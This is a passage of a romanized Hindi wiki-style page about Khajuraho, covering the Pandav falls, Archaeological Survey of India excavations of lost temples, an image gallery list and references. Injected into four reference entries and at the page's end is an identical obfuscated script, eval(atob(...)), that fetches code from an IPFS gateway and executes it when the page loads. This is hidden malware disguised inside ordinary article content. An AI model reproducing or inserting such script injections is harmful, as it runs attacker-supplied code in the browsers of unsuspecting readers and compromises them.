panna rashtriy udyan mean sthit paandav f aauls ghane jangaloan se ghira hai tatha khajuraho se yah lagabhag 34 kilomitar door hai. 98 fut se bhi adhik ooanchaee se anavarat girati ek moti jaladhara,paandav guphaoan ki shobha ko aur bhi badha deti hai. mana jata hai ki yahaan paandav akar thahare the. pauranik ke sath sath is sthan ka mahattv aitihasik bhi hai kyoan ki svatantrata sainani chandrashekhar azad ne yahaan ek gupt goshthi ki thi.
khajuraho mean nee khojean
isase to ham vakif haian hi ki khajuraho ke drishyapatal par 22 mandir dikhaee dete haian lekin sachchaee aur yathatathyata un mandiroan ki abhinishchit karani thi jinaki sankhya anushruti ke anusar 84 bataee jati hai aur jo dikhaee nahian dete. to is kary ko sampann karane ka bi da 1980 mean bharatiy puratattv sarvekshan ne uthaya aur mandiroan ki khoj arambh karadi. ab tak ve 18 prachin tiloan ko khoj nikalane mean kamayab rahe haian. march 1999 mean bharatiy puratattv sarvekshan ek aise tile ko khojane mean saphal hua jo ki agar dhvast n hua hota to vah khajuraho ka sabase b da mandir hota. is ka nam hai bijamandal aur ashcharyajanak bat yah hai ki yah kandariya mahadev mandir se char mitar b da hai.
khajuraho chitr vithika
- chitr:Khajuraho01.jpg
- chitr:Khajuraho.jpg
- chitr:Khajuraho-02.jpg
- chitr:Khajuraho-08.jpg
- chitr:Khajuraho-04.jpg
- chitr:Khajuraho-05.jpg
- chitr:Khajuraho-06.jpg
- chitr:Khajuraho-07.jpg
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- chitr:Khajuraho-10.jpg
- chitr:Khajuraho-13.jpg
- chitr:Khajuraho-14.jpg
- chitr:Khajuraho-11.jpg
- chitr:Khajuraho-12.jpg
- chitr:Kandariya-Temple-Khajuraho.jpg
- chitr:Khajuraho-temple-6.jpg
- chitr:Khajuraho-temple-7.jpg
- chitr:Kandariya-Temple-Khajuraho-3.jpg
- chitr:Khajuraho-temple-4.jpg
- chitr:Kandariya-Temple-Khajuraho-4.jpg
- chitr:Kandariya-Temple-Khajuraho-2.jpg
- chitr:Kandariya-Temple-Khajuraho-5.jpg
- chitr:Khajuraho-16.jpg
- chitr:Khajuraho-17.jpg
- chitr:Khajuraho-29.jpg
- chitr:Khajuraho-19.jpg
- chitr:Khajuraho-20.jpg
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- chitr:Khajuraho-26.jpg
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- chitr:Khajuraho-25.jpg
- chitr:Khajuraho-27.jpg
- chitr:Khajuraho-28.jpg
- chitr:Khajuraho-18.jpg
- chitr:Kama-Sutra-Temple.jpg
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tika tippani aur sandarbh
- REDIRECT saancha:tippanisoochi
- ↑ 954 eesavi
- ↑ 1017-29 eesavi
- ↑ khajuraho (hindi) bharat ki adhikarik vebasait. abhigaman tithi: 13 aktoobar, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ khajuraho (hindi) bharatiy puratattv sarvekshan. abhigaman tithi: 14 aktoobar, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ aankit tithi 999 eesavi
- ↑ nirman 1025 - 1050 ee.
- ↑ khajuraho (hindi) ghamasan d aaut k aaum. abhigaman tithi: 14 aktoobar, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ nirman 900 eesavi
- ↑ khajuraho (hindi) navabharat taims. abhigaman tithi: 14 aktoobar, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
sanbandhit lekh
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>